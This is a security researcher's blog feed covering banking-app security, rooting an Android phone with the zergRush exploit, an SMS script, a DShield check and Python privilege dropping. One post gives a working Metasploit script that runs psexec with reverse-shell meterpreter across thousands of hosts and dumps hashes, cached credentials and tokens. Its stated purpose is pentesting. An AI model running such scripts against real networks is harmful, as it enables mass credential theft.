<?xml version="1.0" encoding="utf-8" ?>
<?xml-stylesheet href="/blog/templates/default/atom.css" type="text/css" ?>

<feed 
   xmlns="http://www.w3.org/2005/Atom"
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/">
    
    <link href="http://www.singe.za.net/blog/feeds/atom.xml" rel="self" title="Dominic White" type="application/atom+xml" />
    <link href="http://www.singe.za.net/blog/"                        rel="alternate"    title="Dominic White" type="text/html" />
    <link href="http://www.singe.za.net/blog/rss.php?version=2.0"     rel="alternate"    title="Dominic White" type="application/rss+xml" />
    <title type="html">Dominic White</title>
    <subtitle type="html">.tHE pRODUCT - Security &amp; Privacy Blog</subtitle>
    <icon>http://singe.za.net/pics/links/tHEpRODUCT-blue.gif</icon>
    <id>http://www.singe.za.net/blog/</id>
    <updated>2012-02-04T06:42:43Z</updated>
    <generator uri="http://www.s9y.org/" version="">Serendipity  - http://www.s9y.org/</generator>
    <dc:language>en</dc:language>

    <entry>
        <link href="http://www.singe.za.net/blog/archives/1045-Internet-Banking,-22seven-Security-Fallacies.html" rel="alternate" title="Internet Banking, 22seven &amp; Security Fallacies" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2012-02-02T12:26:01Z</published>
        <updated>2012-02-04T06:42:43Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1045</wfw:comment>
    
        <slash:comments>6</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1045</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/1045-guid.html</id>
        <title type="html">Internet Banking, 22seven &amp; Security Fallacies</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                There's been a lot of hoopla recently about internet banking security and the introduction of 22seven. I'd like to add to the discussion, by attempting to extract the key arguments and critically analyzing them.<br /> <h3>1) 22seven is secure </h3> 
<p>Figuring out if something is secure is really hard. The current way the industry measures it is by getting a reputable company to perform an in-depth and broad security assessment. 22seven claim to do this in <a href="https://www.22seven.com/security.html">their description</a>. However, none of the results are published, so as a member of the public, we have little to go on. Even then, security testing is a bit of a market for lemons; that is, unless you are an expert, you don't know if the testers did a good job or not. For me to take their claim seriously I'd like to see a letter of attestation from a reputable security testing firm at the least. Until then, we can't know.</p> 
<p>On the flip side, I use tons of online services all day that don't even get around to claiming they test their stuff, let alone go as far as I described above, and so do you. But, these services don't want access to my personal financial transactions, limited power of attorney, and leave all the risk of compromise on me.<br /></p> 
<h3>2) 22seven is safe because they use Yodlee and they are safe</h3> 
<p>This is the claim put forward by 22seven themselves as part of their security overview, and elaborated on by <a href="http://simon.co.za/why-its-safe-to-use-22seven/">Simon Dingle</a>. The problem with this is two fold. First, there are many possible ways in which 22seven could be modified in the event of a compromise to provide access to your credentials, even though Yodlee is secure. <a href="http://memeburn.com/2012/02/why-22seven-is-most-probably-but-not-necessarily-safe/">Paul Cartmel</a> reminds us of the old security truism; that you're only secure as your weakest link. A simple modification of their invocation of Yodlee would be enough to get the job done. Even if you aren't targeting credentials, a disclosure of your financial transactions alone could be a serious breach. So, you need 22seven to be secure AND Yodlee to be secure.</p> 
<p>Even then, the use of a third party, with whom I have no contractual relationship, in another country's jurisdiction (now the US gov can subpoena my financial details, yay) makes me uncomfortable. What recourse do I have to Yodlee if they are the source of a breach?</p> 
<p>Once again, you do this all the time, so put it into perspective a little :)<br /></p> 
<h3>3) Yodlee is safe, because they've never been breached in 13 years</h3> 
<p>If you refer back to point (1) you'll note that I didn't use &quot;no past breaches&quot; as a criteria for &quot;secure&quot;. This is for two reasons again. The first is that detecting breaches is really hard. You need to have significant monitoring, and the capability to understand what the tools are producing to know if you are breached. Even then, the possibility of the attacker being smarter than your monitoring exists (and to bypass your average IDS, you don't have to be that smart). Second, having never been compromised could be as much an indication that nobody has ever tried as it could that the site resisted attacks. Even if it was rock solid till now, people make mistakes, and introduce new code with potential vulnerabilities all the time. The past is no guarantee of future success.<br /></p> 
<p>To be fair to Yodlee, at no point on their site do they make this claim. This was put forward by Simon in his article.</p> 
<h3>4) Yodlee's access to your bank account is a good idea</h3> 
<p>I'm paraphrasing heavily here, but it captures the general argument between 22seven (and supporters) and the likes of Absa. The claim is that Absa is being a stick in the mud and resiting the new wave of customer service possibilities. Commercials aside, I think Absa has a point here. Of all the possibilities for how 22seven could get your info, giving you banking creds to Yodlee has to be the worst. In fact, this is a solved problem. How do you think you accountant has been getting transactional information from Internet Banking into Quick Books or Pascal all these years? They export the stuff in OFX (open financial exchange) or QFX formats and import it into their tool. Better yet, PFM's that support this have been around for a while. I've been using buxfer.com for over a year with this method, and it works well, without me handing over full control of my bank accounts to a random third party (but you'll not I do fall prey to some of the problems I listed above re jurisdiction &amp; the possibility of buxfer getting hacked). There are a ton of other options too, a client-side browser plugin that stores your creds and imports it into the site would be a use of automation that doesn't require credential disclosure. Here, let me draw a picture:</p> 
<p><a class="serendipity_image_link" href="http://www.singe.za.net/blog/uploads/22seven.png"><!-- s9ymdb:123 --><img width="640" height="167" class="serendipity_image_center" src="http://www.singe.za.net/blog/uploads/22seven.png" alt=""  /></a></p> 
<h3>Banks Response<br /></h3> 
<p>There seem to have been two responses from two banks, Absa and FNB. Absa's response was to block Yodlee's servers. I think it may be a bit drastic, but I certainly have sympathy for their stated objection to handing your creds over to a third party. FNB, on the other hand, <del>has responded by</del> will be getting rid of their One Time Passwords (via GSM as a 2nd-factor-auth) on login, and relying on transactional (&quot;confirmation&quot;) OTPs only. They contacted me to clarify that this was planned before 22seven and was not a response to it. I think this is a bad idea (outside of 22seven), and have asked (as a customer) that FNB retain login SMS notifications at the least (they will publish a log of logins within Internet Banking, but by the time you've found an illegal one, it's possibly too late). <del>Hopefully they'll respond. </del>FNB went on to clarify that login notifications will still be sent by e-mail, and that the audit trail published in the app will include both failed and successful logins.<br /></p> 
<p>This has happened before though, with Twitter and Facebook. Remember when you had to give sites your twitter and facebook credentials, and the problems that caused? They ended up building in OAuth and providing an API that caters for third party applications (and per-application permissions). This may the chance for the banks to start doing the same.</p> 
<h3>Conclusion</h3> 
<p>I'm not saying 22seven and Yodlee are ripe for hacking, nor that they are safe. I'm not even saying us not knowing they're safe should preclude their use given what you do with the rest of your online data. Unfortunately, you need to make the decision, but I'm sticking to my OFX export in the meantime and find the risk of disclosure some transactional data, should buxfer get hacked, acceptable compared with the benefits it provides me (for e.g. I moved bank after buxfer made it clear just how much I was paying). I'm also not joining in any name calling, I disagree with some of Simon and Paul's points and agree with others, but this stands as my opinion in the end.</p> 
<p>Update: Modified the &quot;Bank's Response&quot; section based on feedback from FNB. Thanks for going to the trouble of contacting me :)<br /></p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1044-How-to-root-a-Motorola-Atrix-4G-on-2.3.4.html" rel="alternate" title="How to root a Motorola Atrix 4G on 2.3.4" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2012-01-16T12:56:59Z</published>
        <updated>2012-01-16T13:49:27Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1044</wfw:comment>
    
        <slash:comments>3</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1044</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/1044-guid.html</id>
        <title type="html">How to root a Motorola Atrix 4G on 2.3.4</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>Thanks to <a href="http://simon.co.za/" title="Simon Dingle">Simon Dingle</a>, I'm going to be getting into the world of Android. One of the things that shocked me over the first few days, was the large number of applications that came bundled with the phone that could not be uninstalled, and had persistent background processes. In the &quot;direct consequences&quot; camp, the Motorola News and Gallery application simultaneously chewed my bandwidth and flattened by battery, in the more worrying &quot;shady unknown consequences&quot; camp, an app call &quot;Arabware [1]&quot; offered to &quot;localize&quot; my services, and&#160; also could not be uninstalled or stopped. I decided it was time I got root.</p> 
<p>The official guides for how to root a Motorola Atrix 4G on the latest update (2.3.4 at the time of writing) are laughably naive. In 5 minutes I could easily find 50 sites all parroting the same process involving complex and dangerous flashing of firmware. The first bit of mis-information that needs clarification, is that despite the Motorola 2.3.3 developer preview having an unlocked bootloader, the official 2.3.4 Gingerbread update from Motorola <strong>DOES NOT HAVE AN UNLOCKED BOOTLOADER</strong>. No problem they say, <a href="http://www.addictivetips.com/mobile/unlock-motorola-atrix-4g-bootloader-on-froyo-gingerbread/">just flash this firmware in this ZIP file</a>, supposedly extracted from a Chinese leaked version of 2.3.3. What?! You want me to flash fimware passed around as a zip file from random locations? Not a chance. To make it worse, after a quick squiz at the .sbf file, I found this comment embedded in it: </p> 
<blockquote>&quot;The2dCour, known troll in your phone.&quot;</blockquote> Awesome. Not a chance I'm touching that.<br />Here's a much safer, simpler way to root your device, which involves no warranty-voiding, security-spine-chilling hoop jumping.<br /> 
<p> </p> <p>All I wanted was root. I'm familiar enough with Linux to make my way after that. If you're &quot;non-technical&quot; then move along :) The steps are:</p> 
<ol> 
<li> Put your phone into USB debugging mode.</li> 
<li>Download and install the Android Debugging tool from the <a href="http://developer.android.com/sdk/" title="Android SDK">Android SDK</a>.</li> 
<ul> 
<li>You'll need to run the SDK executable (android) and install the &quot;Platform Tools&quot; to get ADB these days.</li> 
</ul> 
<li>Plug your phone into your computer.</li> 
<li>Run &quot;<font face="courier new,courier,monospace">adb devices</font>&quot;. You should see the serial number of your phone appear.</li> 
<li>Download the <a href="https://github.com/downloads/revolutionary/zergRush/zergRush.zip">binary zergRush exploit</a> from it's developers. The <a href="https://github.com/revolutionary/zergRush/blob/37f10d59dbe9ca6d76930a7e136d2d69b4b0b159/zergRush.c" title="zergRush Source">source code</a> is also available for you to examine (or compile).<br /></li> 
<li>Upload it to your device with &quot;<font face="courier new,courier,monospace">adb push zergRush /data/local/tmp</font>&quot;.</li> 
<li>Connect to your device with &quot;<font face="courier new,courier,monospace">adb shell</font>&quot;</li> 
<li>In the shell, switch to the temp dir and run zergRush &quot;<font face="courier new,courier,monospace">cd /data/local/tmp/; ./zergRush</font>&quot;</li> 
<li>You should see the following (the image below has been partially redacted):</li> 
<ul> 
<li><!-- s9ymdb:122 --><img width="469" height="271" class="serendipity_image_center" src="http://www.singe.za.net/blog/uploads/zergRush-Atrix.png" alt=""  /></li> 
</ul> 
<li>If you get the &quot;Killing ADB and restarting as root&quot; line, then it's worked. Exit your adb shell and reconnect. You'll see a &quot;#&quot; as your prompt indicating you're root.</li> 
</ol> 
<p>And that's it. On the one hand, I'm happy there's a &quot;safer&quot; easy way to get root on my own device, on the other hand, I'm uncomfortable with the fact that one of Motorola's flagship phones can be 0nwed so easily, with no update forthcoming.</p> 
<p>[1] Yes, I know Arabware is a localisation service for the Arabic alphabet. I'm not saying it's shady, just that I see no reason why it should be a mandatory app in South Africa.<br /></p> 
<ol> </ol> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1043-Metasploit-Massploitation.html" rel="alternate" title="Metasploit Massploitation" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2012-01-08T18:42:59Z</published>
        <updated>2012-01-08T18:58:17Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1043</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1043</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/1043-guid.html</id>
        <title type="html">Metasploit Massploitation</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>In light of past and recent posts from mubix (<a href="blog.metasploit.com/2010/03/automating-metasploit-console.html" title="Automating Metasploit Console">one</a>, <a href="http://www.room362.com/blog/2011/11/1/run-post-modules-on-all-sessions.html" title="Run POST modules on all sessions">two</a>) and <a href="http://blog.pentestify.com/simple-framework-domain-token-scanner">jcran</a>, I thought I'd post the hack I used to connect to then run Metasploit post-exploitation modules across several thousand machines. I still need to go through them all and merge them, but I thought I'd throw my hat in the ring. Thank to mubix for his help on the job with some of it.<br /></p> 
<div class="storycontent"> 
<p>On a pentest with a massive internal network, we managed to 
get access to 22k machines as local admin using a local account (verified with ncrack). 
Obvious domain priv esc routes were shut down, so it was time to extend our control and information. I wanted hashes, cached domain creds and available tokens from 
each of these. So I put together the following metasploit massploitation
 script. The main difference between this and the other solutions posted, is that my box fell over with several thousand meterpreter sessions open, so I wanted a way to automate connecting &amp; pulling the info without needed all the sessions to be open at once.<br /></p> 
</div> Essentially, there are three parts: 


<ol> 
<li>The massploitation.rc, this is the script run in the console (capturing the output is a good idea)<br /></li> 
<li>The targets file which has a list of targets, one per line<br /></li> 
<li>The extract.rc that is run within each meterpreter session by the massploitation script. You can change this to what you need.<br /></li> 
</ol><strong>massploit-generic.rc</strong> 
<pre>use multi/handler
setg PAYLOAD windows/meterpreter/reverse_tcp
setg LHOST &lt;Local IP&gt;
set LPORT 4444
set ExitOnSession false
exploit -j -z

use exploit/windows/smb/psexec
set SMBUser &lt;username&gt;
set SMBPass &lt;pass or hash&gt;
set SMBDomain "."
set DisablePayloadHandler true

&lt;ruby&gt;
	hostsfile = "&lt;file containing hosts one per line&gt;"
	File.open(hostsfile).each do |host|
		host.strip!
		print_status("Targetting #{host}")
		self.run_single("set RHOST #{host}")
		self.run_single("exploit -j -z")
		flag = false
		count = 0
		while ( flag == false and count &lt; 5 )
			if ( framework.sessions.length &gt; 0 )
				self.run_single("sessions -s extract.rc")
				flag = true
				#self.run_single("sessions <a href="http://framework.sessions.length">-K")</a>  #trying to resolve the race condition, this didn't work
			else
				count += 1
			end
			sleep(5)
		end
	end
&lt;/ruby&gt;</pre> 
<p><strong>extract.rc</strong></p> 
<pre>print_status(client.sys.config.sysinfo["Computer"])
print_status(client.sys.config.sysinfo["OS"])
client.console.run_single("load incognito")
client.console.run_single("list_tokens -u")
client.console.run_single("run post/windows/gather/cachedump")
client.console.run_single("hashdump")
<a href="http://client.sys.config.sysinfo">client.console.run_single("exit")</a>  #Rather kill the session here</pre> 
<p>The stuff isn’t perfect, as there is a race condition where sometimes
 it tries to execute the meterpreter script before the meterpreter 
session is ready. Other than the delay, I’ll need to spend some time to 
understand metasploit’s threading.</p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1042-Timesheets-Youre-doing-it-wrong.html" rel="alternate" title="Timesheets - You're doing it wrong" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-11-20T18:00:48Z</published>
        <updated>2011-11-22T05:04:50Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1042</wfw:comment>
    
        <slash:comments>9</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1042</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/20-Life" label="Life" term="Life" />
    
        <id>http://www.singe.za.net/blog/archives/1042-guid.html</id>
        <title type="html">Timesheets - You're doing it wrong</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>&#160;When managing teams of &quot;information workers&quot;, I believe the use of time sheets is indicative of a management failure. Here's why:<br /></p> 
<ul> 
<li>If you have to rely on a timesheet to know what your staff are doing - you're doing it wrong</li> 
<li>If you can't trust your staff to work hard - you have problems a timesheet won't fix<br /></li> 
<li>If you believe you have too many staff to manage - get more managers</li> 
<li>If you think anyone completes them accurately - you drank the kool aid<br /></li> 
<li>If you think the time it takes to actually complete them accurately is worth it - you hate your staff</li> 
<li>If you manage your business from these inaccurate stats - you're making bad decisions</li> 
<li>If your senior people have PAs complete their timesheets for them - you're a hypocrite<br /></li> 
<li>If you spent millions on a new timesheet system, but didn't make it any easier for the staff using the system - you just suck</li> 
</ul>  
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/508-Commandline-SMS-v2.html" rel="alternate" title="Commandline SMS v2" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2005-08-15T23:43:50Z</published>
        <updated>2011-11-15T13:53:48Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=508</wfw:comment>
    
        <slash:comments>1</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=508</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/5-Geek" label="Geek" term="Geek" />
    
        <id>http://www.singe.za.net/blog/archives/508-guid.html</id>
        <title type="html">Commandline SMS v2</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>Update: I moved the code to <a href="https://github.com/singe/vodasms-cli">my github repository, get it there</a>.</p>
<p>(See other updates at the bottom)</p> 
<p>Many South African <a title="Vodacom South Africa" href="http://www.vodacom.co.za/">Vodacom</a> cell phone users are stuck with a horrid piece of website known as <a title="Bleagh!" href="http://www.vodacom4me.co.za/">Vodacom4Me</a>. It uses frames and Javascript to ensure some of the slowest load times you can imagine and has a session cookie that expires rather too quickly, leaving you watching page loads most of your day. In addition it is often buggy. The reason many people bear with this awful service is that it lets you send 20 free sms (text) messages a day.</p> 
<p>A long time ago this service used to be free and open to anyone, back then we had a cool perl script written by our resident perl guru, <a title="Vhata vas Hyah" href="http://vhata.rucus.net/">Jonathan Hitchcock</a>. However this service soon changed to a login based service and I <a title="Commandline SMS" href="http://singe.rucus.net/blog/archives/115-Commandline-SMS.html">released a modification of his script</a>. The web team at vodacom then decided to bludgeon the page a bit more and my last attempt has sat idle and not-working.</p> 
<p>However, after some considerable effort, I present the <a href="http://singe.rucus.net/utils/vodasms.tar.gz" title="VodaSMS Tarball">new and improved vodasms</a>.</p> <p>This version retains many of the cool features of the last two, such as a phonebook and logging, but adds a configuration file, better packaging and the ability to create your own time saving vodacom4me forms.</p> 
<p>If you would like to get hold of this, download the package from <a href="http://singe.rucus.net/utils/vodasms.tar.gz" title="VodaSMS Tarball">here</a>, extract it, and read the (fairly detailed) README file. Windows users can use it too, with <a href="http://www.google.co.za/url?sa=t&amp;ct=res&amp;cd=2&amp;url=http%3A//www.activestate.com/Products/ActivePerl/&amp;ei=RSwBQ9-5DZKO-AH5sbzbAQ" title="Active Perl">ActivePerl</a>, I haven't tested it though. From extraction to running, it shouldn't take more than 5 minutes to configure.</p> 
<p>This essentially lets you send an sms from the command line by typing lines like:</p> 
<p><font face="courier new,courier,monospace">vodasms 0761234567 hello<br />vodasms Dominic &quot;hello&quot;</font></p>What I mean by 'your own time saving vodacom4me forms' are simple HTML recreations of the same forms generated by Vodacom's JavaScript. Check the vodaform/ directory in the package.<br /> 
<p>If you open the send page in another window/tab, then login via the login page and close it once it starts redirecting you to the horrors of vodacom4me. Next switch to your send page and fill in the number and message and click send. Away it works. I essentially used the <a href="http://search.cpan.org/~petdance/WWW-Mechanize-1.02/lib/WWW/Mechanize.pm" title="PerlDoc">WWW::Mechanize</a> modules to do the same thing. It isn't the most elegant of solutions, but after trying to make my perl bot fake entire pages written in Javascript (seriously, no HTML, all JavaScript) I lost it and went for the easy solution.</p> 
<p>On the up side, it does provide a neat decoupled intermediary, where you can modify the forms to handle changes they make to vodacom4me, without too much difficulty.</p> 
<p>UPDATE: Two fixes were just added. The phonebook search was iterating through the entire phonebook instead of stopping on the first found entry. Also 076 numbers are now supported. I updated the readme to intruct people to send me an sms when they get it working. I like getting sms'es.</p> 
<p>UPDATE 21 April 2006: The benefits of the form decoupling in action: Vodacom changed their login form to use SSL, this required a simple change of the HTML instead of the perl script. Also I have a new cell phone number, the example phone book has been updated so that you can all sms me! The package is up at the same place.</p> 
<p>UPDATE 1 March 2011: The tools has been updated to support the new Vodacom portal. <br /></p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/494-Am-I-Hacked.html" rel="alternate" title="Am I Hacked?" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2005-08-07T02:16:53Z</published>
        <updated>2011-11-15T13:42:09Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=494</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=494</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/494-guid.html</id>
        <title type="html">Am I Hacked?</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>Update: This long stopped working, I just updated it (Nov 2011), and moved it to github, grab it <a href="https://github.com/singe/hackcheck">here</a>. <br /></p>
<p><a title="Distributed Intrusion Detection System" href="http://www.dshield.org/">DShield</a> has a <a title="Are you cracked?" href="http://www.dshield.org/warning_explanation.php">nice webpage</a> where you can check whether an IP address appears in the DShield database as an attacker, a good sign that your machine has been compromised. There have been some extensions of this service, such as <a title="Leaks from the Tinfoil Beanie" href="http://johannes.homepc.org/blog/">
Johannes Ullrich</a>'s &quot;<a title="Find out what got you before it gets you." href="http://www.amihacked.com/">amIhacked?</a>&quot;.</p>
<p>I decided this was quite a nice service, so I hacked up a perl script which will do the check for me. I then made a quick cron script which would only mail me if my machine ever appears as an attacker, thus my daily runs aren't cluttered. This is not a foolproof method. It is possible for a machine to get cracked and not appear in the DShield database, but if it is there then there is a fairly good chance something is wrong.</p> The script is simple, no arguments and it checks your machines IP, or pass an IP to see if it is in the database. It is available for download <a href="http://singe.rucus.net/utils/hackcheck" title="HackCheck">here</a>. Example output:

<blockquote> 
<pre>$ hackcheck.pl
146.231.115.12 is Safe
$ hackcheck.pl 0.0.0.0
0.0.0.0 is Hacked : It appears 157,699 times.</pre> 
</blockquote> 
<p>The cron script is very simple. Just drop it into /etc/cron.daily or the like.
</p> 
<blockquote> 
<pre>#!/bin/sh
test -f /usr/bin/hackcheck.pl || exit 0

MAILTO=root

#Put the IP address of the machine you want checked here
IP=0.0.0.0

[ -z "$MAILTO" ] &amp;&amp; exit 1

hackcheck.pl $IP &gt; /dev/null
if [ "$?" -eq "1" ]; then
        hackcheck.pl $IP| \
        mail -e -s "DShield Hack Warning \
        on $(hostname -f) [$(date +%D)]" $MAILTO
fi</pre> 
</blockquote> 
<p>DShield relies on the submissions of people from around the world. Find out how you can contribute by submitting your logs <a href="http://www.dshield.org/howto.php" title="How to submit your firewall logs to DShield">here</a>.</p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1041-Dropping-Privileges-in-Python-pattern.html" rel="alternate" title="Dropping Privileges in Python (pattern)" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-11-14T14:08:00Z</published>
        <updated>2011-11-14T14:08:00Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1041</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1041</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/5-Geek" label="Geek" term="Geek" />
    
        <id>http://www.singe.za.net/blog/archives/1041-guid.html</id>
        <title type="html">Dropping Privileges in Python (pattern)</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Recently, I had a <a href="https://github.com/singe/mobile-proxy/blob/a03105b12283ca1281b7762f5118888cc7c0b922/blackhole_server.py">simple python program</a> that created a listening socket, and was uncomfortable running it as root (required to access a port below 1000). I had a quick look around, and found <a href="http://antonym.org/2005/12/dropping-privileges-in-python.html">a good blog entry on doing exactly this</a>. However, when running this on OSX, which uses negative UID and GID, I ran into a problem. It turns out that the negative ID is an offset from UINT32_MAX, i.e. 2^32+(-ve UID). The problem is, Python 2.7.1 (Lion's default) os.setgid() was returning an OverFlowError (but not in 2.7.2). I made a mod to the code to handle that case, and figured this pattern may be useful to others wanting to drop privs in a python app.<br /> <pre><div class="line" id="LC5"><span class="kn">import</span> <span class="nn"></span><span class="nn">os</span><span class="o">,</span> <span class="nn">pwd</span><span class="o">,</span> <span class="nn">grp</span></div><div class="line" id="LC6">
</div><div class="line" id="LC17"><span class="k">def</span> <span class="nf">safe_setgid</span><span class="p">(</span><span class="n">running_gid</span><span class="p">):</span></div><div class="line" id="LC18">	<span class="k">try</span><span class="p">:</span></div><div class="line" id="LC19">		<span class="n">os</span><span class="o">.</span><span class="n">setgid</span><span class="p">(</span><span class="n">running_gid</span><span class="p">)</span></div><div class="line" id="LC20">	<span class="k">except</span> <span class="ne">OSError</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span></div><div class="line" id="LC21">		<span class="k">print</span><span class="p">(</span><span class="s">'Could not set effective group id: </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="n">e</span><span class="p">)</span></div><div class="line" id="LC22">
</div><div class="line" id="LC23"><span class="k">def</span> <span class="nf">safe_setuid</span><span class="p">(</span><span class="n">running_uid</span><span class="p">):</span></div><div class="line" id="LC24">	<span class="k">try</span><span class="p">:</span></div><div class="line" id="LC25">		<span class="n">os</span><span class="o">.</span><span class="n">setuid</span><span class="p">(</span><span class="n">running_uid</span><span class="p">)</span></div><div class="line" id="LC26">	<span class="k">except</span> <span class="ne">OSError</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span></div><div class="line" id="LC27">		<span class="k">print</span><span class="p">(</span><span class="s">'Could not set effective group id: </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="n">e</span><span class="p">)</span></div><div class="line" id="LC28">
</div><div class="line" id="LC29"><span class="c"># Taken from http://antonym.org/2005/12/dropping-privileges-in-python.html</span></div><div class="line" id="LC30"><span class="k">def</span> <span class="nf">drop_privileges</span><span class="p">(</span><span class="n">uid_name</span><span class="o">=</span><span class="s">'<strong>nobody</strong>'</span><span class="p">,</span> <span class="n">gid_name</span><span class="o">=</span><span class="s">'<strong>nogroup</strong>'</span><span class="p">):</span></div><div class="line" id="LC31">	<span class="n">starting_uid</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">getuid</span><span class="p">()</span></div><div class="line" id="LC32">	<span class="n">starting_gid</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">getgid</span><span class="p">()</span></div><div class="line" id="LC33">	<span class="n">starting_uid_name</span> <span class="o">=</span> <span class="n">pwd</span><span class="o">.</span><span class="n">getpwuid</span><span class="p">(</span><span class="n">starting_uid</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span></div><div class="line" id="LC34">
</div><div class="line" id="LC35">	<span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">getuid</span><span class="p">()</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span></div><div class="line" id="LC36"><strong>		<span class="c"># We're not root so don't drop, you may want to change this</span></strong></div><div class="line" id="LC37">		<span class="k">print</span><span class="p">(</span><span class="s">"drop_privileges: already running as '</span><span class="si">%s</span><span class="s">'"</span><span class="o">%</span><span class="n">starting_uid_name</span><span class="p">)</span></div><div class="line" id="LC38">		<span class="k">return</span></div><div class="line" id="LC39">
</div><div class="line" id="LC40">	<span class="c"># If we started as root, drop privs and become the specified user/group</span></div><div class="line" id="LC41">	<span class="k">if</span> <span class="n">starting_uid</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span></div><div class="line" id="LC42">		<span class="c"># Get the uid/gid from the name</span></div><div class="line" id="LC43">		<span class="n">running_uid</span> <span class="o">=</span> <span class="n">pwd</span><span class="o">.</span><span class="n">getpwnam</span><span class="p">(</span><span class="n">uid_name</span><span class="p">)[</span><span class="mi">2</span><span class="p">]</span></div><div class="line" id="LC44">		<span class="n">running_gid</span> <span class="o">=</span> <span class="n">grp</span><span class="o">.</span><span class="n">getgrnam</span><span class="p">(</span><span class="n">gid_name</span><span class="p">)[</span><span class="mi">2</span><span class="p">]</span></div><div class="line" id="LC45">
</div><div class="line" id="LC46">		<span class="c"># Try setting the new uid/gid</span></div><div class="line" id="LC47">		<span class="k">try</span><span class="p">:</span></div><div class="line" id="LC48">			<span class="n">safe_setgid</span><span class="p">(</span><span class="n">running_gid</span><span class="p">)</span></div><div class="line" id="LC49">		<span class="k">except</span> <span class="ne">OverflowError</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span></div><div class="line" id="LC50">			<span class="k">if</span> <span class="p">(</span><span class="n">running_gid</span> <span class="o">&gt;</span> <span class="mi">4294967290</span><span class="p">):</span></div><div class="line" id="LC51">				<span class="n">running_gid</span> <span class="o">=</span> <span class="o">-</span><span class="mi">4294967296</span> <span class="o">+</span> <span class="n">running_gid</span></div><div class="line" id="LC52">				<span class="n">safe_setgid</span><span class="p">(</span><span class="n">running_gid</span><span class="p">)</span></div><div class="line" id="LC53">
